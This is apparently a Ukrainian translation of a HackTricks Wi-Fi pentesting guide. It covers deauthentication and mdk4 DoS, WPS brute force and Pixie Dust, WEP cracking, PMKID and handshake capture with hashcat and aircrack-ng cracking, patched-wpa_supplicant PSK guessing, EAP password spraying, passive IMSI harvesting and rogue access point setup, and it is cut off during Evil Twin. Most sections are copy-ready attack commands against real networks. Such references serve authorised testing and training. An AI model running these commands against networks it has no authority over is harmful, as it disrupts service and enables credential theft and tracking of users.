Pentesting Wifi

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Базові команди Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Інструменти

Hijacker & NexMon (вбудований Wi-Fi в Android)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Запустити airgeddon з docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати шаблон phishing, щоб отримати реальний пароль network або перехопити social network credentials.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Цей інструмент автоматизує WPS/WEP/WPA-PSK атаки. Він автоматично:

  • Встановлює інтерфейс у monitor mode
  • Сканує можливі мережі - і дозволяє вибрати ціль(і)
  • Якщо WEP - запускає WEP атаки
  • Якщо WPA-PSK
  • Якщо WPS: Pixie dust attack та brute-force attack (зверніть увагу: brute-force attack може зайняти багато часу). Зауважте, що він не пробує null PIN або database/generated PINs.
  • Намагається захопити PMKID з AP, щоб crack it
  • Спробує deauthenticate клієнтів AP, щоб захопити handshake
  • Якщо PMKID або Handshake, спробує bruteforce використовуючи top5000 паролів.

Підсумок атак

  • DoS
  • Deauthentication/disassociation – Відключає всіх (або певний ESSID/Client)
  • Random fake APs – Приховує мережі, може спричинити збій сканерів
  • Overload AP – Намагається вивести AP з ладу (зазвичай не дуже корисно)
  • WIDS – Робота з IDS
  • TKIP, EAPOL – Деякі специфічні атаки для DoS певних AP
  • Cracking
  • Crack WEP (кілька інструментів і методів)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – Useful to capture captive portal creds and/or perform LAN attacks
  • WPA-PSK Evil Twin – Useful to network attacks if you know the password
  • WPA-MGT – Useful to capture company credentials
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – Useful to capture captive portal creds and/or perform LAN attacks
  • + WPA – Useful to capture WPA handshakes

Open / OWE networks quick notes

  • Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
  • OWE (Opportunistic Wireless Encryption) виконує обмін ключами на рівні кожної станції (no PSK), тому кадри в ефірі шифруються навіть на “open” SSID. Оскільки базується на WPA3, воно також застосовує 802.11w PMF, яке блокує підроблені deauth/disassoc кадри.
  • OWE не автентифікує клієнтів: будь-хто може асоціюватися, тому перевіряйте ізоляцію клієнтів замість того, щоб довіряти маркетинговим заявам. Без ізоляції ARP spoofing або responder-style poisoning на локальному L2 все ще працює.
  • Evil Twin залишається можливим на open/OWE SSID шляхом подачі сильнішого сигналу; PMF лише прибирає скорочення через deauth. Якщо жертви приймуть підроблений TLS cert, повний HTTP(S) MitM відновлюється.
  • Broadcast poisoning on open guest Wi-Fi легко дає creds/hashes (LLMNR/NBT-NS/mDNS). Дивіться:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

DOS

Deauthentication Packets

Опис з here:.

Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging “management” frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.

Deauthentication за допомогою Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 означає deauthentication
  • 1 — кількість deauths для відправки (можна відправити кілька, якщо бажаєте); 0 означає відправляти їх безперервно
  • -a 00:14:6C:7E:40:80 — MAC address точки доступу
  • -c 00:0F:B5:34:30:30 — MAC address клієнта, якого потрібно deauthenticate; якщо це опущено, надсилається broadcast deauthentication (працює не завжди)
  • ath0 — назва інтерфейсу

Disassociation Packets

Disassociation packets, подібні до deauthentication packets, є типом керуючого кадру, що використовується у Wi‑Fi мережах. Ці пакети призначені для розриву з’єднання між пристроєм (наприклад, ноутбуком або смартфоном) та точкою доступу (AP). Основна відмінність між disassociation і deauthentication полягає в їхніх сценаріях використання. У той час як AP випускає deauthentication packets для явного видалення rogue devices з мережі, disassociation packets зазвичай надсилаються, коли AP вимикається, перезапускається або переміщується, що вимагає відключення всіх підключених вузлів.

Цю атаку можна виконати за допомогою mdk4(mode “d”):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Більше DOS attacks від mdk4

У here.

ATTACK MODE b: Beacon Flooding

Надсилає beacon frames, щоб показати fake APs клієнтам. Іноді це може спричинити збій мережевих сканерів і навіть драйверів!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Відправлення authentication frames усім доступним Access Points (APs) в зоні досяжності може перевантажити ці APs, особливо коли задіяно багато clients. Такий інтенсивний трафік може призвести до нестабільності системи, через що деякі APs можуть зависати або навіть перезавантажуватися.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs) перевіряє, чи SSID правильно відображається і підтверджує радіус дії AP. Ця техніка, у поєднанні з bruteforcing hidden SSIDs з або без wordlist, допомагає ідентифікувати та отримати доступ до прихованих мереж.

ATTACK MODE m: Michael Countermeasures Exploitation

Надсилання випадкових або дубльованих пакетів до різних QoS черг може спричинити активацію Michael Countermeasures на TKIP APs, що призведе до вимкнення AP на одну хвилину. Цей метод є ефективною тактикою атаки DoS (Denial of Service).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Затоплення AP EAPOL Start frames створює фальшиві сесії, перевантажуючи AP і блокуючи легітимних клієнтів. Альтернативно, ін’єкція fake EAPOL Logoff messages примусово відключає клієнтів; обидва методи ефективно порушують роботу мережі.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Атаки для IEEE 802.11s mesh-мереж

Різні атаки на керування каналами зв’язку та маршрутизацію в mesh-мережах.

ATTACK MODE w: WIDS Confusion

Перепідключення клієнтів до кількох WDS-вузлів або підробних rogue APs може маніпулювати Intrusion Detection and Prevention Systems, створюючи плутанину і потенційне зловживання системою.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

Packet fuzzer, що має різноманітні джерела пакетів і повний набір модифікаторів для маніпуляції пакетами.

Airggedon

Airgeddon пропонує більшість атак, згаданих у попередніх коментарях:

WPS

WPS (Wi‑Fi Protected Setup) спрощує процес підключення пристроїв до роутера, пришвидшуючи налаштування та полегшуючи його для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Він неефективний стосовно легко зламуємої безпеки WEP. WPS використовує 8-значний PIN, який перевіряється в двох частинах, що робить його вразливим до brute-force атак через обмежену кількість комбінацій (приблизно 11 000 варіантів).

WPS Bruteforce

Є 2 основні інструменти для виконання цієї операції: Reaver і Bully.

  • Reaver створений як надійний і практичний інструмент для атаки проти WPS і тестувався на великій різноманітності точок доступу та реалізацій WPS.
  • Bullyнова реалізація WPS brute force attack, написана на C. Має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена продуктивність пам’яті та CPU, коректне оброблення endianness і більш стійкий набір опцій.

Атака експлуатує вразливість WPS PIN, зокрема витік перших чотирьох цифр і роль останньої цифри як контрольної суми, що спрощує brute-force атаку. Однак захисти від brute-force атак, такі як блокування MAC-адрес агресивних атакуючих, вимагають ротації MAC-адрес для продовження атаки.

Отримавши WPS PIN за допомогою інструментів типу Bully або Reaver, атакуючий може вивести WPA/WPA2 PSK, забезпечивши постійний доступ до мережі.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Цей вдосконалений підхід націлений на WPS PINs, використовуючи відомі вразливості:

  1. Pre-discovered PINs: Використовуйте базу даних відомих PINs, пов’язану з конкретними виробниками, які відомі тим, що використовують однакові WPS PINs. Ця база даних корелює перші три октети MAC-addresses з ймовірними PINs для цих виробників.
  2. PIN Generation Algorithms: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PINs на основі AP’s MAC-address. Arcadyan algorithm додатково вимагає device ID, додаючи шар до процесу генерації PINs.

WPS Pixie Dust attack

Dominique Bongard виявив вразливість у деяких Access Points (APs), пов’язану зі створенням секретних кодів, відомих як nonces (E-S1 і E-S2). Якщо ці nonces можна вирахувати, злам WPS PIN AP стає простим. AP розкриває PIN у спеціальному коді (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є «ключами» до відкриття «сейфу», в якому зберігається WPS PIN. Більше про це можна знайти here.

Простіше кажучи, проблема в тому, що деякі APs не використовували достатньо випадкові ключі для шифрування PIN під час процесу встановлення з’єднання. Це робить PIN вразливим до вгадування ззовні мережі (offline brute force attack).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Якщо ви не хочете переводити пристрій у monitor mode, або reaver і bully дають якісь проблеми, можна спробувати OneShot-C. Цей інструмент може виконувати Pixie Dust attack без необхідності перемикання в monitor mode.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin атака

Деякі погано спроєктовані системи навіть дозволяють доступ за допомогою Null PIN (порожнього або неіснуючого PIN), що досить незвично. Інструмент Reaver здатний перевіряти цю вразливість, на відміну від Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Усі запропоновані WPS атаки можна легко виконати за допомогою airgeddon.

  • 5 і 6 дозволяють спробувати your custom PIN (якщо він у вас є)
  • 7 і 8 виконують Pixie Dust attack
  • 13 дозволяє протестувати NULL PIN
  • 11 і 12 будуть recollect the PINs related to the selected AP from available databases та generate можливі PINs за допомогою: ComputePIN, EasyBox і опційно Arcadyan (рекомендовано, чому б і ні?)
  • 9 і 10 перевірятимуть every possible PIN

WEP

Чому він ламається

  • RC4 seed — це лише IV (24 bits) + shared key. IV знаходиться у відкритому тексті, дуже малий (2^24) і швидко повторюється, тому ciphertexts з тим самим IV повторно використовують keystream.
  • XORing двох ciphertexts з тим самим keystream leaks PlaintextA ⊕ PlaintextB; передбачувані headers + RC4 KSA biases (FMS) дозволяють «голосувати» за байти ключа. PTW оптимізує це, використовуючи ARP traffic, щоб знизити вимоги до десятків тисяч пакетів замість мільйонів.
  • Цілісність забезпечується лише CRC32 (linear/unkeyed), тож атакуючий може змінювати біти і перерахувати CRC32 без ключа → packet forgery/replay/ARP injection під час очікування IVs.

Практичний злом є детермінованим:

airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon  # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap  # PTW attack recovers key once IV threshold is met

Airgeddon все ще включає “All-in-One” WEP workflow, якщо ви віддаєте перевагу керованому UI.



WPA/WPA2 PSK

PMKID

У 2018 році hashcat revealed новий метод атаки, унікальний тим, що потребує лише одного пакета і не вимагає наявності клієнтів, підключених до цільової AP — достатньо взаємодії між атакувачем і AP.

Багато сучасних роутерів додають необов’язкове поле до першого EAPOL кадру під час асоціації, відоме як Robust Security Network. Воно містить PMKID.

Як пояснює оригінальний пост, PMKID створюється з використанням відомих даних:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Оскільки “PMK Name” є сталим, нам відомі BSSID AP і station, а PMK ідентичний тому з повного 4-way handshake, hashcat може використати цю інформацію, щоб crack the PSK and recover the passphrase!

Щоб gather цю інформацію і bruteforce локально пароль, ви можете зробити:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs captured будуть показані у console і також збережені в _ /tmp/attack.pcap_
Тепер конвертуйте захоплення у формат hashcat/john і зламайте його:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Зверніть увагу, формат коректного hash містить 4 частини, наприклад: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Якщо ваш містить лише 3 частини, то він є недійсним (PMKID capture не був дійсним).

Зауважте, що hcxdumptool також захоплює handshakes (з’явиться щось на кшталт: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити ці handshakes у формат hashcat/john за допомогою cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

I have noticed that some handshakes captured with this tool couldn’t be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

Захоплення handshake

Атака на WPA/WPA2 мережі може бути виконана шляхом захоплення handshake і спроби crack пароля offline. Цей процес передбачає моніторинг трафіку конкретної мережі та BSSID на певному channel. Ось спрощений посібник:

  1. Визначте BSSID, channel та connected client цільової мережі.
  2. Використайте airodump-ng для моніторингу мережевого трафіку на вказаному channel та BSSID, намагаючись захопити handshake. Команда виглядатиме так:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Щоб підвищити шанси на перехоплення handshake, тимчасово від’єднайте клієнта від мережі, щоб змусити повторну автентифікацію. Це можна зробити за допомогою команди aireplay-ng, яка надсилає deauthentication packets клієнту:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Зверніть увагу, що оскільки клієнт був deauthenticated, він може спробувати підключитися до іншого AP або, у інших випадках, до іншої мережі.

Як тільки в airodump-ng з’являється інформація про handshake, це означає, що handshake зафіксовано, і ви можете припинити прослуховування:

Після того, як handshake захоплено, ви можете crack його за допомогою aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Перевірити наявність handshake у файлі

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Якщо цей інструмент знайде незавершений handshake ESSID перед завершеним, він не виявить дійсний handshake.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

Швидше онлайн-вгадування PSK через wpa_supplicant ctrl socket (no clients/PMKID)

Коли навколо немає clients і AP відмовляє у PMKID, ви можете перебирати PSKs онлайн без перезапуску supplicants:

  • Змініть wpa_supplicant.c, щоб примусово встановити dur = 0; в логіці auth failure backoff (біля ssid->auth_failures), що фактично відключає таймер temporary-disable.
  • Запустіть один daemon із control socket:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
  • Керувати ним через інтерфейс керування, повторно використовуючи той самий scan і network:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED

Невеликий цикл на Python, який читає події сокета (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED), може перевірити ~100 припущень приблизно за 5 хвилин без накладних витрат на сканування. Це все ще шумно і виявляється, але уникає перезапусків процесів для кожної спроби та затримок backoff.

WPA Enterprise (MGT)

У корпоративних налаштуваннях WiFi ви зустрінете різні методи аутентифікації, кожен із яких забезпечує різні рівні безпеки та функції керування. Коли ви використовуєте інструменти на кшталт airodump-ng для аналізу мережевого трафіку, ви можете помітити ідентифікатори цих типів аутентифікації. Деякі поширені методи включають:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Цей метод підтримує hardware tokens і one-time passwords в рамках EAP-PEAP. На відміну від MSCHAPv2, він не використовує peer challenge і відправляє passwords у plaintext до access point, створюючи ризик для downgrade attacks.
  1. EAP-MD5 (Message Digest 5):
  • Включає відправку MD5 хешу пароля з клієнта. Його не рекомендовано через вразливість до dictionary attacks, відсутність server authentication і неможливість генерувати session-specific WEP keys.
  1. EAP-TLS (Transport Layer Security):
  • Використовує як client-side, так і server-side certificates для аутентифікації та може динамічно генерувати user-based і session-based WEP keys для захисту зв’язку.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Забезпечує mutual authentication через зашифрований тунель, а також метод для отримання dynamic, per-user, per-session WEP keys. Потребує тільки server-side certificates, клієнти використовують credentials.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Працює подібно до EAP, створюючи TLS tunnel для захищеного обміну. Дозволяє використовувати слабші authentication protocols поверх EAP завдяки захисту тунелю.
  • PEAP-MSCHAPv2: Часто називається просто PEAP, комбінує вразливий MSCHAPv2 challenge/response механізм з захисним TLS тунелем.
  • PEAP-EAP-TLS (or PEAP-TLS): Подібний до EAP-TLS, але ініціює TLS тунель перед обміном сертифікатами, додаючи додатковий рівень безпеки.

You can find more information about these authentication methods here and here.

Username Capture

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.

Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.

Anonymous Identities

Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user’s device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:

  • EAP-Identity = anonymous
  • In this scenario, all users employ the pseudonymous “anonymous” as their user identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS server, responsible for managing the server-side of the PEAP or TTLS protocol. The inner (protected) authentication method is then either handled locally or delegated to a remote (home) RADIUS server.
  • EAP-Identity = anonymous@realm_x
  • In this situation, users from different realms conceal their identities while indicating their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
  • Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS server and either handle the protected authentication method or forward it to another server. This option facilitates the configuration of distinct policies for various realms.

In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity through the encrypted tunnel. This approach effectively prevents the revelation of the user’s actual identity to anyone eavesdropping on the 802.11 traffic.

EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client includes a User-Name attribute and either a Password or CHAP-Password attribute in the initial TLS message sent after tunnel establishment.

Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user’s true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user’s identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Click to expand ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

Примітки:
- Працює до встановлення будь‑якого TLS тунелю, якщо розгортання використовує голий EAP‑SIM/AKA без захищеної ідентичності/псевдонімів.
- Розкритий параметр — постійний ідентифікатор, прив'язаний до SIM абонента; збір таких даних дозволяє довготривале відстеження та подальші зловживання в телекомунікаціях.

Вплив
- Конфіденційність: постійне відстеження користувачів/пристроїв через пасивні Wi‑Fi перехоплення в громадських місцях.
- Початок зловживань у телекомах: маючи IMSI, атакуючий з доступом до SS7/Diameter може запитувати місцеперебування або намагатися перехопити дзвінки/SMS та вкрасти MFA.

Заходи пом'якшення / на що звертати увагу
- Переконайтеся, що клієнти використовують анонімні зовнішні ідентичності (псевдоніми) для EAP‑SIM/AKA відповідно до рекомендацій 3GPP (наприклад, 3GPP TS 33.402).
- Віддавайте перевагу тунелюванню фази ідентифікації (наприклад, EAP‑TTLS/PEAP, які несуть внутрішній EAP‑SIM/AKA), щоб IMSI ніколи не відправлявся в явному вигляді.
- Захоплення пакетів під час association/auth ніколи не повинне розкривати сирий IMSI у EAP-Response/Identity.

Пов'язано: Експлуатація телеком сигналізації з захопленими мобільними ідентифікаторами
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

Якщо від клієнта очікується використання **username and password** (зверніть увагу, що **EAP-TLS won't be valid** у цьому випадку), то можна спробувати отримати **list** **usernames** (див. наступну частину) та **passwords** і здійснити **bruteforce** доступу за допомогою [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Ви також можете виконати цю атаку за допомогою eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Client attacks Theory

Network Selection and Roaming

  • Протокол 802.11 визначає, як станція приєднується до Extended Service Set (ESS), але не визначає критерії вибору ESS або access point (AP) в його межах.
  • Станції можуть роумінгувати між AP, що мають однаковий ESSID, підтримуючи підключення по всьому будинку або території.
  • Протокол вимагає аутентифікації станції до ESS, але не зобов’язує AP аутентифікуватись перед станцією.

Preferred Network Lists (PNLs)

  • Станції зберігають ESSID кожної бездротової мережі, до якої вони підключались, у своєму Preferred Network List (PNL), разом із параметрами конфігурації конкретної мережі.
  • PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.

Passive Scanning

  • AP періодично транслюють beacon frames, оголошуючи про свою присутність та характеристики, включно з ESSID AP, якщо трансляція не вимкнена.
  • Під час passive scanning станції слухають beacon frames. Якщо ESSID у beacon співпадає із записом у PNL станції, вона може автоматично підключитися до цього AP.
  • Знання PNL пристрою дає можливість потенційної експлуатації, імітуючи ESSID відомої мережі і вводячи пристрій в оману для підключення до rogue AP.

Active Probing

  • Active probing передбачає відправлення станціями probe requests для виявлення сусідніх AP та їх характеристик.
  • Directed probe requests орієнтовані на конкретний ESSID, допомагаючи визначити, чи знаходиться певна мережа в зоні досяжності, навіть якщо вона прихована.
  • Broadcast probe requests мають поле null SSID і надсилаються всім сусіднім AP, дозволяючи станції перевірити наявність будь-якої preferred network без розкриття вмісту PNL.

Simple AP with redirection to Internet

Before explaining how to perform more complex attacks it’s going to be explained how to just create an AP and redirect it’s traffic to an interface connected to the Internet.

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Створіть конфігураційний файл /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Потім налаштуйте IPs та routes:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

А потім запустіть dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Створіть конфігураційний файл hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Зупиніть дратівливі процеси , встановіть monitor mode, і запустіть hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Переспрямування та перенаправлення

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Атака Evil Twin експлуатує спосіб, яким WiFi-клієнти розпізнають мережі, переважно покладаючись на ім’я мережі (ESSID) і не вимагаючи, щоб base station (access point) автентифікувався перед клієнтом. Ключові положення:

  • Difficulty in Differentiation: Пристрої важко розрізняють легітимні й зловмисні access points, якщо вони мають однаковий ESSID і тип шифрування. У реальних мережах часто використовується кілька access points з тим самим ESSID для безшовного розширення покриття.
